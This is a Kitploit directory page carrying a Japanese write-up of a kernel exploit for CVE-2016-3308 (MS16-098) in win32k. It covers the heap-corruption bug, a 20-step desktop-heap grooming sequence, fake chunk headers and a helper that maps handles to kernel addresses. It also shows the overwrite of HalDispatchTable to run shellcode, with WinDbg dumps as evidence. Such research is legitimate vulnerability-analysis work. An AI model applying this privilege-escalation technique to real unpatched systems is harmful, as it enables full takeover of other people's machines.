Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2016-3308 — CVE-2016-3308 を使用して win32k デスクトップヒープを破損させる | Kitploit
ツール/GitHubGitHub/jackhuyh/cve-2016-3308
メモリフォレンジック脆弱性分析エクスプロイトバイナリエクスプロイト
GitHubjackhuyh/cve-2016-3308

CVE-2016-3308

CVE-2016-3308 を使用して win32k デスクトップヒープを破損させる

リポジトリを見る
1219年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2016-3308 を使用した win32k デスクトップヒープの破損

著者 : @55-AA, 2016年9月18日

はじめに

デスクトップヒープは win32k によって使用されるカーネルプールであり、ユーザーモードアプリケーションによって悪用される可能性があります。ここでは、信頼性の高いエクスプロイトを実装してカーネル内の任意のアドレスを読み書きする方法について詳しく説明します。この解説と関連する分析は、win7_sp1_x86(ビルド17842)インストール上で行われています。

脆弱性

2016年8月9日、Microsoft は MS16-098 をリリースしました。脆弱性コードは関数 win32k!xxxInsertMenuItem 内に存在します。関数プロトタイプは次のとおりです:

root@kitploit:~
BOOL xxxInsertMenuItem(
        PMENU pMenu, 
        UINT wIndex, 
        BOOL fByPosition, 
        LPMENUITEMINFOW lpmii, 
        PUNICODE_STRING pstrItem
    );

まず、xxxInsertMenuItem 内の疑似バグコードを見てみましょう:

root@kitploit:~
if (pMenu->cItems >= pMenu->cAlloced) {
    if (pMenu->rgItems) {
        pNewItems = (PITEM)DesktopAlloc(
                        pMenu->head.rpdesk,
                        (pMenu->cAlloced + CMENUITEMALLOC) * sizeof(ITEM),
                        DTAG_MENUITEM);
 ......

    pMenu->cAlloced += CMENUITEMALLOC;
    pMenu->rgItems = pNewItems;
    if (wIndex != MFMWFP_NOITEM)
        pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn);

......

pMenu->cItems++;
if (pItem != NULL) {
    RtlMoveMemory(pItem + 1, pItem, (pMenu->cItems - 1) *
            sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));
} else {

上記のコードでは、9番目(1番目から数えて)のアイテムが pMenu に追加されるとき、DesktopAlloc() が呼び出されて新しい pMenu->rgItems が再割り当てされます。次に MNLookUpItem() が呼び出され、pMenu->rgItems 内のアイテムの位置を取得します。しかし、MNLookUpItem() によって返される pItem は、pMenu ではなく別の pSubMenu の rgItems であるため、RtlMoveMemory() が呼び出されると、移動サイズの誤りにより pSubMenu の pItem とそれに続くバイトが上書きされます。

以下は、ヒープオーバーライトを引き起こすバグの逆アセンブリコードであり、これを利用して偽の trunk を構築できます:

root@kitploit:~
0: kd> u win32k!xxxInsertMenuItem+0x1f5 l8
win32k!xxxInsertMenuItem+0x1f5:
95d295af 6bc06c          imul    eax,eax,6Ch
95d295b2 2bc3            sub     eax,ebx
95d295b4 034634          add     eax,dword ptr [esi+34h]
95d295b7 50              push    eax
95d295b8 8d436c          lea     eax,[ebx+6Ch]
95d295bb 53              push    ebx
95d295bc 50              push    eax
95d295bd e85ea40100      call    win32k!memmove (95d43a20)

バグを追跡するために、WinDbg で以下のブレークポイントを使用しました:

root@kitploit:~
ba e1 win32k!xxxInsertMenuItem

ba e1 win32k!xxxInsertMenuItem+0xf3    
95d294e3 e843e70200      call    win32k!DesktopAlloc (836d7bf5)

ba e1 win32k!xxxInsertMenuItem+0x129
95d294e3 e80de70200      call    win32k!DesktopAlloc (836d7bf5)

ba e1 win32k!xxxInsertMenuItem+0x1f5
95d295af 6bc06c          imul    eax,eax,6Ch

バグをトリガーするには、次の段階を実行する必要があります:

  1. メニューを作成します。
  2. ID 0x123 を持つサブメニューをメニューの最初の ITEM として作成します。MENUITEMINFO.hbmpItem に HBMMENU_SYSTEM を設定する必要があります。
  3. ID 0x1001 から 0x1007 までの他の 7 つの ITEM をメニューに追加します。
  4. ID 1 の ITEM をサブメニューに追加します。
  5. サブメニューにさらに 8 つの ITEM を追加して、16 スロットを持つ tagMENU.rgItems を取得します。ただし、この手順はクラッシュのみが必要な場合、トリガーには必須ではありません。
  6. ID 0x123 の 9 番目の ITEM をメニューに追加します。これにより、期待される RtlMoveMemory() が誤ったパラメータで呼び出されます。

デスクトップヒープ

デスクトップヒープは、すべての GUI プロセスによって使用されるグローバルプールです。Window や Menu などのすべての GUI オブジェクトはデスクトップヒープに格納され、カーネルヒープアロケーターによって管理されます。カーネルヒープアロケーターは、RtlAllocateHeap や RtlFreeHeap などのおなじみの関数を使用します。ユーザーモードヒープとは異なり、デスクトップヒープはフロントエンドアロケーターを使用しないため、Low Fragmentation Heap や Lookaside list などはありません。また、Windows 8 以降までヒープエンコーディングもありません。以下は、win7_sp1_x86 上の trunk の構造です:

root@kitploit:~
typedef struct _HEAP_ENTRY {
    USHORT Size;
    UCHAR Flags;
    UCHAR SegmentIndex;
    USHORT PreviousSize;
    UCHAR SegmentOffset;
    UCHAR UnusedBytes;
 } HEAP_ENTRY, *PHEAP_ENTRY;

Size フィールドと PreviousSize フィールドは、チャンクサイズを HEAP_GRANULARITY_SHIFT(32ビットシステムでは 3 と定義)ビット右シフトした値を表します。Size フィールドは現在のチャンクを指定し、PreviousSize は前のチャンクを指定します。Flags の最下位ビットは通常 HEAP_ENTRY_BUSY(0x01) に設定され、チャンクが使用中であることを示します。0x00 の場合は使用中ではありません。

次の図は、これらのフィールドとチャンクブロック間の関係を示しています。2 番目の緑の下線 WORD (0x000f) は、現在のチャンクサイズが 0x78 バイトであることを表します。2 番目の黒の下線 WORD (0x0003) は、前のチャンクサイズが 0x18 バイトであることを表します。赤い下線 WORD (0x0001) は、現在のチャンクが使用中であることを表します。ここで、チャンクサイズにはヘッダーサイズが含まれます。ヘッダーは上記の HEAP_ENTRY 構造体として定義されます。

ヒープ破損にとって最も重要な特徴は、ヒープアロケーターが常に最近解放されたチャンクを取得することです。これは、任意のサイズと特定の位置でチャンクを実際に割り当てることができることを意味します。

破損

バグを利用して、デスクトップヒープ内の一部のバイトを上書きできるため、偽のチャンクを取得します。それが通常のチャンクを置き換え、置き換えられたチャンクを解放すると、偽のチャンクがフリーチャンクリストの先頭にプッシュされます。その後、偽のチャンクが再利用され、その中に任意のバイトを書き込むことができます。書き込み可能な領域は複数の通常のチャンクと重なりますが、カーネルランド全体をカバーすることはできません。したがって、重複領域内に別の R/W プリミティブを構築する必要があります。これには、任意のアドレスを書き込むために tagWND.strName を利用します。strName.Buffer のポインタは、カーネルランドとユーザーランドの両方を含む任意の場所を指すことができます。もちろん、私たちの目標は nt!HalDispatchTable のみです。

次の図は、ヒープの変化の手順を示しています:

図に従って、デスクトップヒープを段階的に破損させ、以下の段階でエクスプロイトを実装します:

  1. WndText サイズ 1 の Window をいくつか作成し、FILL_HOLE_COUNT 回ループして古いホールを埋めます。
  2. WND_0 ~ WND_5 を作成してチャンクデータを操作します。
  3. メニューを作成し、ID 0x123 のサブメニューをメニューの最初の ITEM として作成します。次に、ID 0x1001~0x1007 の他の 7 つの ITEM をメニューに追加します。
  4. ID 1 の ITEM と ID 0x2001~0x2007 の他の 7 つの ITEM をサブメニューに追加します。
  5. ID 0x2008 の 9 番目の ITEM をサブメニューに追加して、16 スロットを持つ tagMENU.rgItems を取得します。
  6. WND_5 のテキストを 0x360 バイトに設定して、サブメニュー ITEM の 8 つ分の元のホールを埋めます。
  7. WND_1 のテキストを 0x70 バイトに設定し、偽のチャンクヘッダーを準備します。
  8. WND_2 のテキストを 0x70 バイトに設定し、偽のチャンク用のプレースホルダーを構築します。
  9. WND_0 のテキストを 0x6c0 バイトに設定し、将来のメニュー ITEM 16 個分のプレースホルダーを構築します。
  10. 自動生成された tagPROPLIST を持つ Primitive-WND を作成します。
  11. 自動生成された tagPROPLIST を持つ Corrupt-WND を作成します。
  12. WND_3 のテキストを 0x10 バイトに設定し、ステップ 8 の偽のチャンクに続く次の偽のチャンクを作成します。
  13. ヒープレイアウトを保存し、終了段階で復元できるようにします。
  14. WND_0 のテキストを 0x700 バイトにリセットして、0x6c0 のホールを解放します。
  15. 9 番目の ITEM をメニューに追加します。これにより、ステップ 14 で解放されたチャンクが再利用され、バグがトリガーされます。
  16. WND_2 のテキストを 0x80 バイトにリセットします。これにより、偽のチャンクが解放リストの先頭にプッシュされます。
  17. Corrupt-WND のテキストを 0x8e0 バイトに設定すると、偽のチャンクが再利用されます。
  18. Primitive-WND のテキストを設定して、書き込みプリミティブを実行し、nt!HalDispatchTable[1] を上書きします。
  19. NtQueryIntervalProfile を呼び出してシェルコードをトリガーします。
  20. 保存したヒープレイアウトを復元して終了します。

ヒープ風水を構築するための上記の主要な手順:

ステップ 7 では、WND_1 のテキスト内に偽のヒープヘッダーを構築します。これは将来のチャンク状態を指定します。上の図の青いセクションは、赤いセクションを上書きすることを示しています。「Corrupt HDR」から「red HDR」までの距離は 0x6c で、これは ITEM のサイズです。これらのパラメータは次のとおりです:

root@kitploit:~
pHeapEntry->PreviousSize = (0x6c8 + 0x78) >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Size = 0x8e8 >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Flags = 1;
pHeapEntry->UnusedBytes = 8;

ステップ 12 では、WND_3 のテキスト内に次の偽のヒープヘッダーを構築します。これにより、ヒープアロケーターにこれらの偽のチャンクが正常にチェーンされていると思わせます。

ステップ 15 では、バグがトリガーされます。9 番目の ITEM が追加されるため、ITEM リストが再割り当てされ、WND_0 のテキストで解放されたチャンクが再利用されます。したがって、「SubMenuITEMs HDR」から「MenuITEMs HDR」までの距離は (0x6c8+0x78+0x78) バイトになり、この領域内のデータは自身によって上書きされます。このステップでは、WND_1、WND_2、MenuITEM のチャンクヘッダーが損傷します。プロセスを正常に終了するために、一部のデータを保存し、ステップ 20 で復元できるようにします。

ステップ 13 では、損傷を受ける前のデータを保存します。しかし、ユーザーランドにいるため、カーネルランド内のデータを読み取ることはできません。幸いなことに、ユーザーランドにマップされたセクションがあり、それはデスクトップヒープのイメージです。読み取り専用ではありますが、目的には十分です。ユーザーランドのイメージセクションアドレスを取得するには、Win32ClientInfo を使用できます。これは TEB 内の文書化されていない構造体です。見てみましょう:

root@kitploit:~
typedef struct _CLIENTINFO { 
    ULONG_PTR CI_flags; 
    ULONG_PTR cSpins; 
    DWORD dwExpWinVer; 
    DWORD dwCompatFlags; 
    DWORD dwCompatFlags2; 
    DWORD dwTIFlags; 
    PDESKTOPINFO pDeskInfo; 
    ULONG_PTR ulClientDelta;
} CLIENTINFO, *PCLIENTINFO;

typedef struct _DESKTOPINFO { 
    PVOID pvDesktopBase; 
    PVOID pvDesktopLimit; 
} DESKTOPINFO, *PDESKTOPINFO;

私たちが注目するフィールドは pvDesktopBase と ulClientDelta です。pvDesktopBase はデスクトップヒープのカーネルアドレスを指し、ulClientDelta 値はユーザーランドイメージとカーネルアドレス間のオフセットを指定するデルタ値です。

さらに、HANDLE からカーネルアドレスへのマッピング関係が必要です。gSharedInfo というグローバル変数があり、これは win7 以降の user32.dll によってエクスポートされています。次のように定義されます:

root@kitploit:~
typedef struct _SHAREDINFO{
	PSERVERINFO psi;      
	PHANDLEENTRY aheList;
	ULONG HeEntrySize;
	ULONG_PTR pDispInfo;      
	ULONG_PTR ulSharedDelta;
	ULONG_PTR awmControl[31];
	ULONG_PTR DefWindowMsgs;
	ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO,*PSHAREDINFO;

したがって、次の関数を使用してハンドルからカーネルアドレスを取得できます:

root@kitploit:~
PVOID GetMappedHandlePtr(HANDLE MyHandle, PVOID * UserlandPtr)
{
	HANDLEENTRY * UserHandleTable = g_pSharedInfo->aheList;
	ULONG cEntries = g_pSharedInfo->psi->cHandleEntries;
	ULONG dwIndex = (ULONG)MyHandle & 0xFFFF;
	ULONG dwUniq = (ULONG)MyHandle >> 16;
	if(dwIndex <= cEntries) {
		if (dwUniq == UserHandleTable[dwIndex].wUniq) {
			*UserlandPtr = (PVOID)(
                (ULONG_PTR)UserHandleTable[dwIndex].phead - g_DeltaDesktopHeap);
			return (PVOID)UserHandleTable[dwIndex].phead;
		}
	}
	return NULL;
}

ステップ 17、18、20 では、カーネルランドにバイトを書き込みたいので、Window のテキストを利用します。これは、デスクトップヒープ上に割り当てられた LARGE_UNICODE_STRING であり、ウィンドウオブジェクトに関連付けられています。これは tagWND 構造体にあり、win7_sp1_x86 ではそのオフセットは 0x84 で、オフセット 0x8c は読み書きを制御できるポインタです。ユーザーランドでは、NtUserDefSetText() を呼び出してウィンドウのテキストを設定でき、テキストの内容は目的のカーネルアドレスに書き込まれます。

ステップ 19 では、最後の目標であるシェルコードをトリガーします。ユーザーランドで NtQueryIntervalProfile() を呼び出すことにより、本来は hal!HaliQuerySystemInformation が呼び出されますが、その関数ポインタはステップ 18 で自分自身の関数に置き換えられています。ちなみに、NtQueryIntervalProfile の第 1 パラメータを 1 に設定すると、オフセット 84115505 の以下のコードにより短絡が発生します:

root@kitploit:~
nt!KeQueryIntervalProfile:
841154fd 8bff            mov     edi,edi
841154ff 55              push    ebp
84115500 8bec            mov     ebp,esp
84115502 83ec10          sub     esp,10h
84115505 83f801          cmp     eax,1
84115508 7507            jne     nt!KeQueryIntervalProfile+0x14 (84115511)
8411550a a108f7fa83      mov     eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83faf708)]
8411550f c9              leave
84115510 c3              ret

それ以外の値の場合は実行されます。

破損手順全体を便利に追跡するために、いくつかの主要な値をコンソールに出力します。

出力に従って、WinDbg で破損するデスクトップヒープレイアウトを確認できます。

これは、ステップ 7 および 8 の WND_1_Text と WND_2_Text です:

root@kitploit:~
1: kd> db fea2d7a8-8 l78*2
fea2d7a0  0f 00 01 00 d9 00 00 08-00 00 00 00 1d 01 01 00  ................
fea2d7b0  e8 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d810  00 00 00 00 00 00 00 00-0f 00 01 00 0f 00 00 08  ................
fea2d820  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d880  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

これは、ステップ 15 で悪用された後の状態です:

root@kitploit:~
0: kd> db fea2d7a8-8 l78*2
fea2d7a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
fea2d810  d9 00 00 08 00 00 00 00-1d 01 01 00 e8 00 00 08  ................
fea2d820  f0 36 a3 fe 10 ca a2 fe-00 00 00 00 00 00 00 00  .6..............
fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d880  00 00 00 00 0f 00 01 00-0f 00 00 08 00 00 00 00  ................

これは、完成した偽のチャンクです:

root@kitploit:~
0: kd> db fea2d820-8
fea2d818  1d 01 01 00 e8 00 00 08-f0 36 a3 fe 10 ca a2 fe  .........6......
fea2d828  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d838  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d848  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d858  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d868  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d878  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
fea2d888  0f 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................

これは、2 番目の完成した偽のチャンクです:

root@kitploit:~
0: kd> db fea2d820-8 + 11d*8
fea2e100  02 00 01 00 1d 01 00 08-00 00 00 00 00 00 00 00  ................
fea2e110  0d 00 01 00 03 00 00 0c-38 26 a1 fe 80 c1 80 c1  ........8&......
fea2e120  00 00 00 00 40 8c 47 88-00 00 00 00 00 00 c1 00  [email protected].........
fea2e130  00 00 00 00 00 00 00 00-00 00 00 00 18 e1 a2 fe  ................
fea2e140  00 00 00 00 00 00 00 00-00 40 00 00 9c 88 d0 95  .........@......
fea2e150  00 00 00 00 00 00 00 00-00 00 88 00 00 00 00 00  ................
fea2e160  e8 3e b5 ff 06 00 00 00-00 00 00 00 80 e1 a2 fe  .>..............
fea2e170  00 00 00 00 00 00 00 00-05 00 01 00 0d 00 00 09  ................

PrimitiveWnd tagWND.strName

root@kitploit:~
0: kd> db fea2d820 + 78 + 6c8 + 84
fea2dfe4  02 00 00 00 04 00 00 00-fc 53 f7 83 00 00 00 00  .........S......
fea2dff4  60 df a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  `...............
fea2e004  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
fea2e014  17 00 00 08 01 00 00 00-01 00 00 00 88 19 7e 01  ..............~.
fea2e024  18 a9 00 00 17 00 01 00-03 00 00 08 fc 03 03 00  ................
fea2e034  03 00 00 00 38 48 96 fe-40 8c 47 88 30 e0 a2 fe  [email protected]...
fea2e044  18 00 08 60 00 07 00 80-00 01 00 00 00 00 cf 04  ...`............
fea2e054  00 00 00 00 00 00 00 00-60 df a2 fe 28 81 a1 fe  `...(...

CorruptWnd tagWND.strName

root@kitploit:~
0: kd> db fea2d820 + 78 + 6c8 + d0 + 84
fea2e0b4  de 08 00 00 e0 08 00 00-20 d8 a2 fe 00 00 00 00  ........ .......
fea2e0c4  30 e0 a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  0...............
fea2e0d4  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
fea2e0e4  17 00 00 08 01 00 00 00-01 00 00 00 90 1e 7e 01  ..............~.
fea2e0f4  18 a9 00 00 03 00 01 00-03 00 00 08 02 00 01 00  ................
fea2e104  1d 01 00 08 00 00 00 00-00 00 00 00 0d 00 01 00  ................
fea2e114  03 00 00 0c 38 26 a1 fe-80 c1 80 c1 00 00 00 00  ....8&..........
fea2e124  40 8c 47 88 00 00 00 00-00 00 c1 00 00 00 00 00  @.G.............

置き換えられたシェルコードポインタ:

root@kitploit:~
0: kd> dds nt!HalDispatchTable
83f753f8  00000004
83f753fc  013711c0
83f75400  83e3c1b4 hal!HalpSetSystemInformation
83f75404  840fe71f nt!xHalQueryBusSlots
83f75408  00000000

0: kd> u 013711c0
013711c0 a188fa3701      mov     eax,dword ptr ds:[0137FA88h]
013711c5 8b0d80fa3701    mov     ecx,dword ptr ds:[137FA80h]
013711cb 894804          mov     dword ptr [eax+4],ecx
013711ce 33c0            xor     eax,eax
013711d0 c21000          ret     10h

参考文献

  • An Analysis Of MS16-098
  • Exploiting the win32k!xxxEnableWndSBArrows use-after-free (CVE 2015-0057) bug on both 32-bit and 64-bit
  • Kernel Attacks through User-Mode Callbacks
ツールをダウンロード